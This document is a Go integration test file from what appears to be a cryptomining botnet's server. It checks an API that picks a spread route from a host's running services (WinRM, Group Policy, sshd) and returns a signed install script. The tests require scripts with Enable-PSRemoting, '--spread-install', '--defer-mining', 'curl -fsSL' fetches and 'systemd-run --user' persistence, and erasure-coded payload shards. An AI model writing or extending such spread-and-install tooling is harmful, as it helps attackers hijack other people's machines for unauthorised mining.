Files
AetherForge/server/internal/api/deploy_plan_integration_test.go
AetherForge 821a0e2cd7
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Close test-gap noise rows and sync coverage documentation.
Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.
2026-06-07 06:44:54 -07:00

160 lines
4.4 KiB
Go

package api
import (
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
"crypto-miner-server/internal/erasure"
)
func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method", http.StatusMethodNotAllowed)
return
}
h.PostDeployPlan(w, r)
}))
t.Cleanup(srv.Close)
resp, err := http.Post(srv.URL, "application/json", strings.NewReader(body))
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
raw, err := io.ReadAll(resp.Body)
if err != nil {
t.Fatal(err)
}
if resp.StatusCode != http.StatusOK {
t.Fatalf("status=%d body=%s", resp.StatusCode, string(raw))
}
var out map[string]interface{}
if err := json.Unmarshal(raw, &out); err != nil {
t.Fatal(err)
}
return out
}
func TestPostDeployPlanHTTPWinRM(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
out := postDeployPlan(t, h, `{
"services":[{"name":"WinRM","status":"running"}],
"platform":"windows","build_id":"b1","campaign":"winrm-lab"
}`)
if out["ok"] != true {
t.Fatalf("resp=%v", out)
}
if out["join_lane"] != "winrm" {
t.Fatalf("join_lane=%v", out["join_lane"])
}
plan, ok := out["plan"].(map[string]interface{})
if !ok || plan["join_lane"] != "winrm" {
t.Fatalf("plan=%v", out["plan"])
}
script, _ := plan["script"].(string)
for _, marker := range []string{"Enable-PSRemoting", "--spread-install", "--defer-mining"} {
if !strings.Contains(script, marker) {
t.Fatalf("script missing %q: %s", marker, script)
}
}
if sig, _ := out["signature"].(string); sig == "" {
t.Fatal("expected signature")
}
}
func TestPostDeployPlanHTTPGPO(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
out := postDeployPlan(t, h, `{
"services":[{"name":"gpsvc","status":"running"}],
"platform":"windows","build_id":"b1","campaign":"gpo-wave"
}`)
if out["ok"] != true || out["join_lane"] != "gpo" {
t.Fatalf("resp=%v", out)
}
plan := out["plan"].(map[string]interface{})
script, _ := plan["script"].(string)
if !strings.Contains(script, "AETHER_DEFER_MINING") || !strings.Contains(script, "/install.ps1") {
t.Fatalf("script=%q", script)
}
}
func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
out := postDeployPlan(t, h, `{
"services":[{"name":"sshd","status":"active"}],
"platform":"linux","build_id":"b1","campaign":"lotl-lab"
}`)
if out["ok"] != true || out["join_lane"] != "linux_lotl" {
t.Fatalf("resp=%v", out)
}
plan := out["plan"].(map[string]interface{})
script, _ := plan["script"].(string)
for _, marker := range []string{"systemd-run --user", "curl -fsSL"} {
if !strings.Contains(script, marker) {
t.Fatalf("script missing %q: %s", marker, script)
}
}
}
func TestPostDeployPlanHTTPErasureEnabled(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
out := postDeployPlan(t, h, `{
"services":[{"name":"DoSvc","status":"running"}],
"platform":"windows","build_id":"b1","campaign":"erasure-wave"
}`)
plan, ok := out["plan"].(map[string]interface{})
if !ok {
t.Fatalf("plan=%v", out["plan"])
}
erasurePlan, ok := plan["erasure_plan"].(map[string]interface{})
if !ok || erasurePlan["enabled"] != true {
t.Fatalf("erasure_plan=%v", plan["erasure_plan"])
}
shards, ok := erasurePlan["shards"].([]interface{})
if !ok || len(shards) != 6 {
t.Fatalf("shards=%v", erasurePlan["shards"])
}
token, _ := erasurePlan["shard_token"].(string)
if token == "" {
t.Fatal("expected shard_token")
}
if _, ok := store.Get(token, 0); !ok {
t.Fatal("expected stored shard for HTTP deploy plan")
}
}
func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
h := testDeployPlanHandler(t)
srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))
t.Cleanup(srv.Close)
resp, err := http.Post(srv.URL, "application/json", strings.NewReader(`{"platform":"windows"}`))
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusBadRequest {
t.Fatalf("status=%d", resp.StatusCode)
}
}